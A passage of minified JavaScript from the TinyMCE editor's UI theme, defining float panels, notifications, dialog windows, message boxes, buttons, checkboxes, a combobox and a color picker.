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t,n,i,r,o=p.layoutRect();n=o.contentW>o.innerW,i=o.contentH>o.innerH,r=p.getEl("body")["client"+l]-2*v,t=(r-=n&&i?p.getEl("scroll"+s)["client"+c]:0)/p.getEl("body")["scroll"+l],p.getEl("body")["scroll"+a]=d+e["delta"+u]/t},stop:function(){we("#"+e).removeClass(t+"active")}})}p.classes.add("scroll"),e("v","Top","Height","Y","Width"),e("h","Left","Width","X","Height")}(),p.on("wheel",function(e){var t=p.getEl("body");t.scrollLeft+=10*(e.deltaX||0),t.scrollTop+=10*e.deltaY,n()}),we(p.getEl("body")).on("scroll",n)),n())}},bt=ct.extend({Defaults:{layout:"fit",containerCls:"panel"},Mixins:[vt],renderHtml:function(){var e=this,t=e._layout,n=e.settings.html;return e.preRender(),t.preRender(e),void 0===n?n='<div id="'+e._id+'-body" class="'+e.bodyClasses+'">'+t.renderHtml(e)+"</div>":("function"==typeof n&&(n=n.call(e)),e._hasBody=!1),'<div id="'+e._id+'" class="'+e.classes+'" hidefocus="1" tabindex="-1" role="group">'+(e._preBodyHtml||"")+n+"</div>"}}),yt={resizeToContent:function(){this._layoutRect.autoResize=!0,this._lastRect=null,this.reflow()},resizeTo:function(e,t){if(e<=1||t<=1){var n=Ce.getWindowSize();e=e<=1?e*n.w:e,t=t<=1?t*n.h:t}return this._layoutRect.autoResize=!1,this.layoutRect({minW:e,minH:t,w:e,h:t}).reflow()},resizeBy:function(e,t){var n=this.layoutRect();return this.resizeTo(n.w+e,n.h+t)}},xt=[],wt=[];function _t(e,t){for(;e;){if(e===t)return!0;e=e.parent()}}function Ct(){ht||(ht=function(e){2!==e.button&&function(e){for(var t=xt.length;t--;){var n=xt[t],i=n.getParentCtrl(e.target);if(n.settings.autohide){if(i&&(_t(i,n)||n.parent()===i))continue;(e=n.fire("autohide",{target:e.target})).isDefaultPrevented()||n.hide()}}}(e)},we(document).on("click touchstart",ht))}function Rt(r){var e=Ce.getViewPort().y;function t(e,t){for(var n,i=0;i<xt.length;i++)if(xt[i]!==r)for(n=xt[i].parent();n&&(n=n.parent());)n===r&&xt[i].fixed(e).moveBy(0,t).repaint()}r.settings.autofix&&(r.state.get("fixed")?r._autoFixY>e&&(r.fixed(!1).layoutRect({y:r._autoFixY}).repaint(),t(!1,r._autoFixY-e)):(r._autoFixY=r.layoutRect().y,r._autoFixY<e&&(r.fixed(!0).layoutRect({y:0}).repaint(),t(!0,e-r._autoFixY))))}function Et(e,t){var n,i,r=kt.zIndex||65535;if(e)wt.push(t);else for(n=wt.length;n--;)wt[n]===t&&wt.splice(n,1);if(wt.length)for(n=0;n<wt.length;n++)wt[n].modal&&(r++,i=wt[n]),wt[n].getEl().style.zIndex=r,wt[n].zIndex=r,r++;var o=we("#"+t.classPrefix+"modal-block",t.getContainerElm())[0];i?we(o).css("z-index",i.zIndex-1):o&&(o.parentNode.removeChild(o),pt=!1),kt.currentZIndex=r}var kt=bt.extend({Mixins:[Se,yt],init:function(e){var i=this;i._super(e),(i._eventsRoot=i).classes.add("floatpanel"),e.autohide&&(Ct(),function(){if(!gt){var e=document.documentElement,t=e.clientWidth,n=e.clientHeight;gt=function(){document.all&&t===e.clientWidth&&n===e.clientHeight||(t=e.clientWidth,n=e.clientHeight,kt.hideAll())},we(window).on("resize",gt)}}(),xt.push(i)),e.autofix&&(mt||(mt=function(){var e;for(e=xt.length;e--;)Rt(xt[e])},we(window).on("scroll",mt)),i.on("move",function(){Rt(this)})),i.on("postrender show",function(e){if(e.control===i){var t,n=i.classPrefix;i.modal&&!pt&&((t=we("#"+n+"modal-block",i.getContainerElm()))[0]||(t=we('<div id="'+n+'modal-block" class="'+n+"reset "+n+'fade"></div>').appendTo(i.getContainerElm())),u.setTimeout(function(){t.addClass(n+"in"),we(i.getEl()).addClass(n+"in")}),pt=!0),Et(!0,i)}}),i.on("show",function(){i.parents().each(function(e){if(e.state.get("fixed"))return i.fixed(!0),!1})}),e.popover&&(i._preBodyHtml='<div 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t;for(t=xt.length;t--;)xt[t]===e&&xt.splice(t,1);for(t=wt.length;t--;)wt[t]===e&&wt.splice(t,1)}kt.hideAll=function(){for(var e=xt.length;e--;){var t=xt[e];t&&t.settings.autohide&&(t.hide(),xt.splice(e,1))}};var Ht=function(e,t){return!(!e||t.settings.ui_container)},St=function(s,e,t){var a,n,l=v.DOM,i=s.getParam("fixed_toolbar_container");i&&(n=l.select(i)[0]);var r=function(){if(a&&a.moveRel&&a.visible()&&!a._fixed){var e=s.selection.getScrollContainer(),t=s.getBody(),n=0,i=0;if(e){var r=l.getPos(t),o=l.getPos(e);n=Math.max(0,o.x-r.x),i=Math.max(0,o.y-r.y)}a.fixed(!1).moveRel(t,s.rtl?["tr-br","br-tr"]:["tl-bl","bl-tl","tr-br"]).moveBy(n,i)}},o=function(){a&&(a.show(),r(),l.addClass(s.getBody(),"mce-edit-focus"))},u=function(){a&&(a.hide(),kt.hideAll(),l.removeClass(s.getBody(),"mce-edit-focus"))},c=function(){a?a.visible()||o():(a=e.panel=b.create({type:n?"panel":"floatpanel",role:"application",classes:"tinymce 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class="'+n+'notification-inner">'+t.state.get("text")+"</div>"+o+r+'<div style="clip: rect(1px, 1px, 1px, 1px);height: 1px;overflow: hidden;position: absolute;width: 1px;" aria-live="assertive" aria-relevant="additions" aria-atomic="true"></div></div>'},postRender:function(){var e=this;return u.setTimeout(function(){e.$el.addClass(e.classPrefix+"in"),At(e,e.state.get("text"))},100),e._super()},bindStates:function(){var t=this;return t.state.on("change:text",function(e){t.getEl().firstChild.innerHTML=e.value,At(t,e.value)}),t.progressBar&&(t.progressBar.bindStates(),t.progressBar.state.on("change:value",function(e){At(t,t.state.get("text"))})),t._super()},close:function(){return this.fire("close").isDefaultPrevented()||this.remove(),this},repaint:function(){var e,t;e=this.getEl().style,t=this._layoutRect,e.left=t.x+"px",e.top=t.y+"px",e.zIndex=65534}});function Lt(o){var s=function(e){return e.inline?e.getElement():e.getContentAreaContainer()};return{open:function(e,t){var n,i=w.extend(e,{maxWidth:(n=s(o),Ce.getSize(n).width)}),r=new Bt(i);return 0<(r.args=i).timeout&&(r.timer=setTimeout(function(){r.close(),t()},i.timeout)),r.on("close",function(){t()}),r.renderTo(),r},close:function(e){e.close()},reposition:function(e){G(e,function(e){e.moveTo(0,0)}),function(n){if(0<n.length){var e=n.slice(0,1)[0],t=s(o);e.moveRel(t,"tc-tc"),G(n,function(e,t){0<t&&e.moveRel(n[t-1].getEl(),"bc-tc")})}}(e)},getArgs:function(e){return e.args}}}var It=[],zt="";function Ft(e){var t,n=we("meta[name=viewport]")[0];!1!==fe.overrideViewPort&&(n||((n=document.createElement("meta")).setAttribute("name","viewport"),document.getElementsByTagName("head")[0].appendChild(n)),(t=n.getAttribute("content"))&&void 0!==zt&&(zt=t),n.setAttribute("content",e?"width=device-width,initial-scale=1.0,user-scalable=0,minimum-scale=1.0,maximum-scale=1.0":zt))}function Ut(e,t){(function(){for(var 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t=n.classPrefix+"close";(Ce.hasClass(e.target,t)||Ce.hasClass(e.target.parentNode,t))&&n.close()}),n.on("cancel",function(){n.close()}),n.on("move",function(e){e.control===n&&kt.hideAll()}),n.aria("describedby",n.describedBy||n._id+"-none"),n.aria("label",e.title),n._fullscreen=!1},recalc:function(){var e,t,n,i,r=this,o=r.statusbar;r._fullscreen&&(r.layoutRect(Ce.getWindowSize()),r.layoutRect().contentH=r.layoutRect().innerH),r._super(),e=r.layoutRect(),r.settings.title&&!r._fullscreen&&(t=e.headerW)>e.w&&(n=e.x-Math.max(0,t/2),r.layoutRect({w:t,x:n}),i=!0),o&&(o.layoutRect({w:r.layoutRect().innerW}).recalc(),(t=o.layoutRect().minW+e.deltaW)>e.w&&(n=e.x-Math.max(0,t-e.w),r.layoutRect({w:t,x:n}),i=!0)),i&&r.recalc()},initLayoutRect:function(){var e,t=this,n=t._super(),i=0;if(t.settings.title&&!t._fullscreen){e=t.getEl("head");var r=Ce.getSize(e);n.headerW=r.width,n.headerH=r.height,i+=n.headerH}t.statusbar&&(i+=t.statusbar.layoutRect().h),n.deltaH+=i,n.minH+=i,n.h+=i;var o=Ce.getWindowSize();return n.x=t.settings.x||Math.max(0,o.w/2-n.w/2),n.y=t.settings.y||Math.max(0,o.h/2-n.h/2),n},renderHtml:function(){var e=this,t=e._layout,n=e._id,i=e.classPrefix,r=e.settings,o="",s="",a=r.html;return e.preRender(),t.preRender(e),r.title&&(o='<div id="'+n+'-head" class="'+i+'window-head"><div id="'+n+'-title" class="'+i+'title">'+e.encode(r.title)+'</div><div id="'+n+'-dragh" class="'+i+'dragh"></div><button type="button" class="'+i+'close" aria-hidden="true"><i class="mce-ico mce-i-remove"></i></button></div>'),r.url&&(a='<iframe src="'+r.url+'" tabindex="-1"></iframe>'),void 0===a&&(a=t.renderHtml(e)),e.statusbar&&(s=e.statusbar.renderHtml()),'<div id="'+n+'" class="'+e.classes+'" hidefocus="1"><div class="'+e.classPrefix+'reset" role="application">'+o+'<div id="'+n+'-body" class="'+e.bodyClasses+'">'+a+"</div>"+s+"</div></div>"},fullscreen:function(e){var n,t,i=this,r=document.documentElement,o=i.classPrefix;if(e!==i._fullscreen)if(we(window).on("resize",function(){var e;if(i._fullscreen)if(n)i._timer||(i._timer=u.setTimeout(function(){var e=Ce.getWindowSize();i.moveTo(0,0).resizeTo(e.w,e.h),i._timer=0},50));else{e=(new Date).getTime();var t=Ce.getWindowSize();i.moveTo(0,0).resizeTo(t.w,t.h),50<(new Date).getTime()-e&&(n=!0)}}),t=i.layoutRect(),i._fullscreen=e){i._initial={x:t.x,y:t.y,w:t.w,h:t.h},i.borderBox=Pe("0"),i.getEl("head").style.display="none",t.deltaH-=t.headerH+2,we([r,document.body]).addClass(o+"fullscreen"),i.classes.add("fullscreen");var s=Ce.getWindowSize();i.moveTo(0,0).resizeTo(s.w,s.h)}else i.borderBox=Pe(i.settings.border),i.getEl("head").style.display="",t.deltaH+=t.headerH,we([r,document.body]).removeClass(o+"fullscreen"),i.classes.remove("fullscreen"),i.moveTo(i._initial.x,i._initial.y).resizeTo(i._initial.w,i._initial.h);return i.reflow()},postRender:function(){var t,n=this;setTimeout(function(){n.classes.add("in"),n.fire("open")},0),n._super(),n.statusbar&&n.statusbar.postRender(),n.focus(),this.dragHelper=new ft(n._id+"-dragh",{start:function(){t={x:n.layoutRect().x,y:n.layoutRect().y}},drag:function(e){n.moveTo(t.x+e.deltaX,t.y+e.deltaY)}}),n.on("submit",function(e){e.isDefaultPrevented()||n.close()}),It.push(n),Ft(!0)},submit:function(){return this.fire("submit",{data:this.toJSON()})},remove:function(){var e,t=this;for(t.dragHelper.destroy(),t._super(),t.statusbar&&this.statusbar.remove(),Ut(t.classPrefix,!1),e=It.length;e--;)It[e]===t&&It.splice(e,1);Ft(0<It.length)},getContentWindow:function(){var e=this.getEl().getElementsByTagName("iframe")[0];return e?e.contentWindow:null}});!function(){if(!fe.desktop){var n={w:window.innerWidth,h:window.innerHeight};u.setInterval(function(){var e=window.innerWidth,t=window.innerHeight;n.w===e&&n.h===t||(n={w:e,h:t},we(window).trigger("resize"))},100)}we(window).on("resize",function(){var e,t,n=Ce.getWindowSize();for(e=0;e<It.length;e++)t=It[e].layoutRect(),It[e].moveTo(It[e].settings.x||Math.max(0,n.w/2-t.w/2),It[e].settings.y||Math.max(0,n.h/2-t.h/2))})}();var Yt=Vt.extend({init:function(e){e={border:1,padding:20,layout:"flex",pack:"center",align:"center",containerCls:"panel",autoScroll:!0,buttons:{type:"button",text:"Ok",action:"ok"},items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200}},this._super(e)},Statics:{OK:1,OK_CANCEL:2,YES_NO:3,YES_NO_CANCEL:4,msgBox:function(e){var t,i=e.callback||function(){};function n(e,t,n){return{type:"button",text:e,subtype:n?"primary":"",onClick:function(e){e.control.parents()[1].close(),i(t)}}}switch(e.buttons){case Yt.OK_CANCEL:t=[n("Ok",!0,!0),n("Cancel",!1)];break;case Yt.YES_NO:case Yt.YES_NO_CANCEL:t=[n("Yes",1,!0),n("No",0)],e.buttons===Yt.YES_NO_CANCEL&&t.push(n("Cancel",-1));break;default:t=[n("Ok",!0,!0)]}return new Vt({padding:20,x:e.x,y:e.y,minWidth:300,minHeight:100,layout:"flex",pack:"center",align:"center",buttons:t,title:e.title,role:"alertdialog",items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200,text:e.text},onPostRender:function(){this.aria("describedby",this.items()[0]._id)},onClose:e.onClose,onCancel:function(){i(!1)}}).renderTo(document.body).reflow()},alert:function(e,t){return"string"==typeof e&&(e={text:e}),e.callback=t,Yt.msgBox(e)},confirm:function(e,t){return"string"==typeof e&&(e={text:e}),e.callback=t,e.buttons=Yt.OK_CANCEL,Yt.msgBox(e)}}}),$t=function(n){return{renderUI:function(e){return Pt(n,this,e)},resizeTo:function(e,t){return ce(n,e,t)},resizeBy:function(e,t){return de(n,e,t)},getNotificationManagerImpl:function(){return Lt(n)},getWindowManagerImpl:function(){return{open:function(n,e,t){var i;return n.title=n.title||" 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e.params},setParams:function(e,t){e.params=t}}}}},Xt=Me.extend({Defaults:{firstControlClass:"first",lastControlClass:"last"},init:function(e){this.settings=w.extend({},this.Defaults,e)},preRender:function(e){e.bodyClasses.add(this.settings.containerClass)},applyClasses:function(e){var t,n,i,r,o=this.settings;t=o.firstControlClass,n=o.lastControlClass,e.each(function(e){e.classes.remove(t).remove(n).add(o.controlClass),e.visible()&&(i||(i=e),r=e)}),i&&i.classes.add(t),r&&r.classes.add(n)},renderHtml:function(e){var t="";return this.applyClasses(e.items()),e.items().each(function(e){t+=e.renderHtml()}),t},recalc:function(){},postRender:function(){},isNative:function(){return!1}}),qt=Xt.extend({Defaults:{containerClass:"abs-layout",controlClass:"abs-layout-item"},recalc:function(e){e.items().filter(":visible").each(function(e){var t=e.settings;e.layoutRect({x:t.x,y:t.y,w:t.w,h:t.h}),e.recalc&&e.recalc()})},renderHtml:function(e){return'<div id="'+e._id+'-absend" class="'+e.classPrefix+'abs-end"></div>'+this._super(e)}}),jt=Wt.extend({Defaults:{classes:"widget btn",role:"button"},init:function(e){var t,n=this;n._super(e),e=n.settings,t=n.settings.size,n.on("click mousedown",function(e){e.preventDefault()}),n.on("touchstart",function(e){n.fire("click",e),e.preventDefault()}),e.subtype&&n.classes.add(e.subtype),t&&n.classes.add("btn-"+t),e.icon&&n.icon(e.icon)},icon:function(e){return arguments.length?(this.state.set("icon",e),this):this.state.get("icon")},repaint:function(){var e,t=this.getEl().firstChild;t&&((e=t.style).width=e.height="100%"),this._super()},renderHtml:function(){var e,t,n=this,i=n._id,r=n.classPrefix,o=n.state.get("icon"),s=n.state.get("text"),a="",l=n.settings;return(e=l.image)?(o="none","string"!=typeof e&&(e=window.getSelection?e[0]:e[1]),e=" style=\"background-image: url('"+e+"')\""):e="",s&&(n.classes.add("btn-has-text"),a='<span class="'+r+'txt">'+n.encode(s)+"</span>"),o=o?r+"ico "+r+"i-"+o:"",t="boolean"==typeof l.active?' aria-pressed="'+l.active+'"':"",'<div id="'+i+'" class="'+n.classes+'" tabindex="-1"'+t+'><button id="'+i+'-button" role="presentation" type="button" tabindex="-1">'+(o?'<i class="'+o+'"'+e+"></i>":"")+a+"</button></div>"},bindStates:function(){var o=this,n=o.$,i=o.classPrefix+"txt";function s(e){var t=n("span."+i,o.getEl());e?(t[0]||(n("button:first",o.getEl()).append('<span class="'+i+'"></span>'),t=n("span."+i,o.getEl())),t.html(o.encode(e))):t.remove(),o.classes.toggle("btn-has-text",!!e)}return o.state.on("change:text",function(e){s(e.value)}),o.state.on("change:icon",function(e){var t=e.value,n=o.classPrefix;t=(o.settings.icon=t)?n+"ico "+n+"i-"+o.settings.icon:"";var i=o.getEl().firstChild,r=i.getElementsByTagName("i")[0];t?(r&&r===i.firstChild||(r=document.createElement("i"),i.insertBefore(r,i.firstChild)),r.className=t):r&&i.removeChild(r),s(o.state.get("text"))}),o._super()}}),Jt=jt.extend({init:function(e){e=w.extend({text:"Browse...",multiple:!1,accept:null},e),this._super(e),this.classes.add("browsebutton"),e.multiple&&this.classes.add("multiple")},postRender:function(){var n=this,t=Ce.create("input",{type:"file",id:n._id+"-browse",accept:n.settings.accept});n._super(),we(t).on("change",function(e){var t=e.target.files;n.value=function(){return t.length?n.settings.multiple?t:t[0]:null},e.preventDefault(),t.length&&n.fire("change",e)}),we(t).on("click",function(e){e.stopPropagation()}),we(n.getEl("button")).on("click",function(e){e.stopPropagation(),t.click()}),n.getEl().appendChild(t)},remove:function(){we(this.getEl("button")).off(),we(this.getEl("input")).off(),this._super()}}),Gt=ct.extend({Defaults:{defaultType:"button",role:"group"},renderHtml:function(){var e=this,t=e._layout;return e.classes.add("btn-group"),e.preRender(),t.preRender(e),'<div id="'+e._id+'" class="'+e.classes+'"><div id="'+e._id+'-body">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"}}),Kt=Wt.extend({Defaults:{classes:"checkbox",role:"checkbox",checked:!1},init:function(e){var t=this;t._super(e),t.on("click mousedown",function(e){e.preventDefault()}),t.on("click",function(e){e.preventDefault(),t.disabled()||t.checked(!t.checked())}),t.checked(t.settings.checked)},checked:function(e){return arguments.length?(this.state.set("checked",e),this):this.state.get("checked")},value:function(e){return arguments.length?this.checked(e):this.checked()},renderHtml:function(){var e=this,t=e._id,n=e.classPrefix;return'<div id="'+t+'" class="'+e.classes+'" unselectable="on" aria-labelledby="'+t+'-al" tabindex="-1"><i class="'+n+"ico "+n+'i-checkbox"></i><span id="'+t+'-al" class="'+n+'label">'+e.encode(e.state.get("text"))+"</span></div>"},bindStates:function(){var o=this;function t(e){o.classes.toggle("checked",e),o.aria("checked",e)}return o.state.on("change:text",function(e){o.getEl("al").firstChild.data=o.translate(e.value)}),o.state.on("change:checked change:value",function(e){o.fire("change"),t(e.value)}),o.state.on("change:icon",function(e){var t=e.value,n=o.classPrefix;if(void 0===t)return o.settings.icon;t=(o.settings.icon=t)?n+"ico "+n+"i-"+o.settings.icon:"";var i=o.getEl().firstChild,r=i.getElementsByTagName("i")[0];t?(r&&r===i.firstChild||(r=document.createElement("i"),i.insertBefore(r,i.firstChild)),r.className=t):r&&i.removeChild(r)}),o.state.get("checked")&&t(!0),o._super()}}),Zt=tinymce.util.Tools.resolve("tinymce.util.VK"),Qt=Wt.extend({init:function(i){var r=this;r._super(i),i=r.settings,r.classes.add("combobox"),r.subinput=!0,r.ariaTarget="inp",i.menu=i.menu||i.values,i.menu&&(i.icon="caret"),r.on("click",function(e){var t=e.target,n=r.getEl();if(we.contains(n,t)||t===n)for(;t&&t!==n;)t.id&&-1!==t.id.indexOf("-open")&&(r.fire("action"),i.menu&&(r.showMenu(),e.aria&&r.menu.items()[0].focus())),t=t.parentNode}),r.on("keydown",function(e){var t;13===e.keyCode&&"INPUT"===e.target.nodeName&&(e.preventDefault(),r.parents().reverse().each(function(e){if(e.toJSON)return t=e,!1}),r.fire("submit",{data:t.toJSON()}))}),r.on("keyup",function(e){if("INPUT"===e.target.nodeName){var t=r.state.get("value"),n=e.target.value;n!==t&&(r.state.set("value",n),r.fire("autocomplete",e))}}),r.on("mouseover",function(e){var t=r.tooltip().moveTo(-65535);if(r.statusLevel()&&-1!==e.target.className.indexOf(r.classPrefix+"status")){var n=r.statusMessage()||"Ok",i=t.text(n).show().testMoveRel(e.target,["bc-tc","bc-tl","bc-tr"]);t.classes.toggle("tooltip-n","bc-tc"===i),t.classes.toggle("tooltip-nw","bc-tl"===i),t.classes.toggle("tooltip-ne","bc-tr"===i),t.moveRel(e.target,i)}})},statusLevel:function(e){return 0<arguments.length&&this.state.set("statusLevel",e),this.state.get("statusLevel")},statusMessage:function(e){return 0<arguments.length&&this.state.set("statusMessage",e),this.state.get("statusMessage")},showMenu:function(){var e,t=this,n=t.settings;t.menu||((e=n.menu||[]).length?e={type:"menu",items:e}:e.type=e.type||"menu",t.menu=b.create(e).parent(t).renderTo(t.getContainerElm()),t.fire("createmenu"),t.menu.reflow(),t.menu.on("cancel",function(e){e.control===t.menu&&t.focus()}),t.menu.on("show hide",function(e){e.control.items().each(function(e){e.active(e.value()===t.value())})}).fire("show"),t.menu.on("select",function(e){t.value(e.control.value())}),t.on("focusin",function(e){"INPUT"===e.target.tagName.toUpperCase()&&t.menu.hide()}),t.aria("expanded",!0)),t.menu.show(),t.menu.layoutRect({w:t.layoutRect().w}),t.menu.moveRel(t.getEl(),t.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])},focus:function(){this.getEl("inp").focus()},repaint:function(){var e,t,n=this,i=n.getEl(),r=n.getEl("open"),o=n.layoutRect(),s=0,a=i.firstChild;n.statusLevel()&&"none"!==n.statusLevel()&&(s=parseInt(Ce.getRuntimeStyle(a,"padding-right"),10)-parseInt(Ce.getRuntimeStyle(a,"padding-left"),10)),e=r?o.w-Ce.getSize(r).width-10:o.w-10;var l=document;return l.all&&(!l.documentMode||l.documentMode<=8)&&(t=n.layoutRect().h-2+"px"),we(a).css({width:e-s,lineHeight:t}),n._super(),n},postRender:function(){var t=this;return we(this.getEl("inp")).on("change",function(e){t.state.set("value",e.target.value),t.fire("change",e)}),t._super()},renderHtml:function(){var e,t,n,i=this,r=i._id,o=i.settings,s=i.classPrefix,a=i.state.get("value")||"",l="",u="";return"spellcheck"in o&&(u+=' spellcheck="'+o.spellcheck+'"'),o.maxLength&&(u+=' maxlength="'+o.maxLength+'"'),o.size&&(u+=' size="'+o.size+'"'),o.subtype&&(u+=' type="'+o.subtype+'"'),n='<i id="'+r+'-status" class="mce-status mce-ico" style="display: none"></i>',i.disabled()&&(u+=' disabled="disabled"'),(e=o.icon)&&"caret"!==e&&(e=s+"ico "+s+"i-"+o.icon),t=i.state.get("text"),(e||t)&&(l='<div id="'+r+'-open" class="'+s+"btn "+s+'open" tabIndex="-1" role="button"><button id="'+r+'-action" type="button" hidefocus="1" tabindex="-1">'+("caret"!==e?'<i class="'+e+'"></i>':'<i class="'+s+'caret"></i>')+(t?(e?" ":"")+t:"")+"</button></div>",i.classes.add("has-open")),'<div id="'+r+'" class="'+i.classes+'"><input id="'+r+'-inp" class="'+s+'textbox" value="'+i.encode(a,!1)+'" hidefocus="1"'+u+' placeholder="'+i.encode(o.placeholder)+'" />'+n+l+"</div>"},value:function(e){return arguments.length?(this.state.set("value",e),this):(this.state.get("rendered")&&this.state.set("value",this.getEl("inp").value),this.state.get("value"))},showAutoComplete:function(e,i){var r=this;if(0!==e.length){r.menu?r.menu.items().remove():r.menu=b.create({type:"menu",classes:"combobox-menu",layout:"flow"}).parent(r).renderTo(),w.each(e,function(e){var t,n;r.menu.add({text:e.title,url:e.previewUrl,match:i,classes:"menu-item-ellipsis",onclick:(t=e.value,n=e.title,function(){r.fire("selectitem",{title:n,value:t})})})}),r.menu.renderNew(),r.hideMenu(),r.menu.on("cancel",function(e){e.control.parent()===r.menu&&(e.stopPropagation(),r.focus(),r.hideMenu())}),r.menu.on("select",function(){r.focus()});var t=r.layoutRect().w;r.menu.layoutRect({w:t,minW:0,maxW:t}),r.menu.repaint(),r.menu.reflow(),r.menu.show(),r.menu.moveRel(r.getEl(),r.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])}else r.hideMenu()},hideMenu:function(){this.menu&&this.menu.hide()},bindStates:function(){var r=this;r.state.on("change:value",function(e){r.getEl("inp").value!==e.value&&(r.getEl("inp").value=e.value)}),r.state.on("change:disabled",function(e){r.getEl("inp").disabled=e.value}),r.state.on("change:statusLevel",function(e){var t=r.getEl("status"),n=r.classPrefix,i=e.value;Ce.css(t,"display","none"===i?"none":""),Ce.toggleClass(t,n+"i-checkmark","ok"===i),Ce.toggleClass(t,n+"i-warning","warn"===i),Ce.toggleClass(t,n+"i-error","error"===i),r.classes.toggle("has-status","none"!==i),r.repaint()}),Ce.on(r.getEl("status"),"mouseleave",function(){r.tooltip().hide()}),r.on("cancel",function(e){r.menu&&r.menu.visible()&&(e.stopPropagation(),r.hideMenu())});var n=function(e,t){t&&0<t.items().length&&t.items().eq(e)[0].focus()};return r.on("keydown",function(e){var t=e.keyCode;"INPUT"===e.target.nodeName&&(t===Zt.DOWN?(e.preventDefault(),r.fire("autocomplete"),n(0,r.menu)):t===Zt.UP&&(e.preventDefault(),n(-1,r.menu)))}),r._super()},remove:function(){we(this.getEl("inp")).off(),this.menu&&this.menu.remove(),this._super()}}),en=Qt.extend({init:function(e){var t=this;e.spellcheck=!1,e.onaction&&(e.icon="none"),t._super(e),t.classes.add("colorbox"),t.on("change keyup postrender",function(){t.repaintColor(t.value())})},repaintColor:function(e){var t=this.getEl("open"),n=t?t.getElementsByTagName("i")[0]:null;if(n)try{n.style.background=e}catch(i){}},bindStates:function(){var t=this;return t.state.on("change:value",function(e){t.state.get("rendered")&&t.repaintColor(e.value)}),t._super()}}),tn=jt.extend({showPanel:function(){var t=this,e=t.settings;if(t.classes.add("opened"),t.panel)t.panel.show();else{var n=e.panel;n.type&&(n={layout:"grid",items:n}),n.role=n.role||"dialog",n.popover=!0,n.autohide=!0,n.ariaRoot=!0,t.panel=new kt(n).on("hide",function(){t.classes.remove("opened")}).on("cancel",function(e){e.stopPropagation(),t.focus(),t.hidePanel()}).parent(t).renderTo(t.getContainerElm()),t.panel.fire("show"),t.panel.reflow()}var i=t.panel.testMoveRel(t.getEl(),e.popoverAlign||(t.isRtl()?["bc-tc","bc-tl","bc-tr"]:["bc-tc","bc-tr","bc-tl","tc-bc","tc-br","tc-bl"]));t.panel.classes.toggle("start","l"===i.substr(-1)),t.panel.classes.toggle("end","r"===i.substr(-1));var r="t"===i.substr(0,1);t.panel.classes.toggle("bottom",!r),t.panel.classes.toggle("top",r),t.panel.moveRel(t.getEl(),i)},hidePanel:function(){this.panel&&this.panel.hide()},postRender:function(){var t=this;return t.aria("haspopup",!0),t.on("click",function(e){e.control===t&&(t.panel&&t.panel.visible()?t.hidePanel():(t.showPanel(),t.panel.focus(!!e.aria)))}),t._super()},remove:function(){return this.panel&&(this.panel.remove(),this.panel=null),this._super()}}),nn=v.DOM,rn=tn.extend({init:function(e){this._super(e),this.classes.add("splitbtn"),this.classes.add("colorbutton")},color:function(e){return e?(this._color=e,this.getEl("preview").style.backgroundColor=e,this):this._color},resetColor:function(){return this._color=null,this.getEl("preview").style.backgroundColor=null,this},renderHtml:function(){var e=this,t=e._id,n=e.classPrefix,i=e.state.get("text"),r=e.settings.icon?n+"ico "+n+"i-"+e.settings.icon:"",o=e.settings.image?" style=\"background-image: url('"+e.settings.image+"')\"":"",s="";return i&&(e.classes.add("btn-has-text"),s='<span class="'+n+'txt">'+e.encode(i)+"</span>"),'<div id="'+t+'" class="'+e.classes+'" role="button" tabindex="-1" aria-haspopup="true"><button role="presentation" hidefocus="1" type="button" tabindex="-1">'+(r?'<i class="'+r+'"'+o+"></i>":"")+'<span id="'+t+'-preview" class="'+n+'preview"></span>'+s+'</button><button type="button" class="'+n+'open" hidefocus="1" tabindex="-1"> <i class="'+n+'caret"></i></button></div>'},postRender:function(){var t=this,n=t.settings.onclick;return t.on("click",function(e){e.aria&&"down"===e.aria.key||e.control!==t||nn.getParent(e.target,"."+t.classPrefix+"open")||(e.stopImmediatePropagation(),n.call(t,e))}),delete t.settings.onclick,t._super()}}),on=tinymce.util.Tools.resolve("tinymce.util.Color"),sn=Wt.extend({Defaults:{classes:"widget colorpicker"},init:function(e){this._super(e)},postRender:function(){var n,i,r,o,s,a=this,l=a.color();function u(e,t){var n,i,r=Ce.getPos(e);return n=t.pageX-r.x,i=t.pageY-r.y,{x:n=Math.max(0,Math.min(n/e.clientWidth,1)),y:i=Math.max(0,Math.min(i/e.clientHeight,1))}}function c(e,t){var n=(360-e.h)/360;Ce.css(r,{top:100*n+"%"}),t||Ce.css(s,{left:e.s+"%",top:100-e.v+"%"}),o.style.background=on({s:100,v:100,h:e.h}).toHex(),a.color().parse({s:e.s,v:e.v,h:e.h})}function e(e){var t;t=u(o,e),n.s=100*t.x,n.v=100*(1-t.y),c(n),a.fire("change")}function t(e){var t;t=u(i,e),(n=l.toHsv()).h=360*(1-t.y),c(n,!0),a.fire("change")}i=a.getEl("h"),r=a.getEl("hp"),o=a.getEl("sv"),s=a.getEl("svp"),a._repaint=function(){c(n=l.toHsv())},a._super(),a._svdraghelper=new ft(a._id+"-sv",{start:e,drag:e}),a._hdraghelper=new ft(a._id+"-h",{start:t,drag:t}),a._repaint()},rgb:function(){return this.color().toRgb()},value:function(e){if(!arguments.length)return this.color().toHex();this.color().parse(e),this._rendered&&this._repaint()},color:function(){return this._color||(this._color=on()),this._color},renderHtml:function(){var e,t=this._id,o=this.classPrefix,s="#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000";return e='<div id="'+t+'-h" class="'+o+'colorpicker-h" style="background: -ms-linear-gradient(top,'+s+");background: linear-gradient(to bottom,"+s+');">'+function(){var e,t,n,i,r="";for(n="filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=",e=0,t=(i=s.split(",")).length-1;e<t;e++)r+='<div class="'+o+'colorpicker-h-chunk" style="height:'+100/t+"%;"+n+i[e]+",endColorstr="+i[e+1]+");-ms-"+n+i[e]+",endColorstr="+i[e+1]+')"></div>';return r}()+'<div id="'+t+'-hp" class="'+o+'colorpicker-h-marker"></div></div>','<div id="'+t+'" class="'+this.classes+'"><div id="'+t+'-sv" class="'+o+'colorpicker-sv"><div class="'+o+'colorpicker-overlay1"><div class="'+o+'colorpicker-overlay2"><div id="'+t+'-svp" class="'+o+'colorpicker-selector1"><div 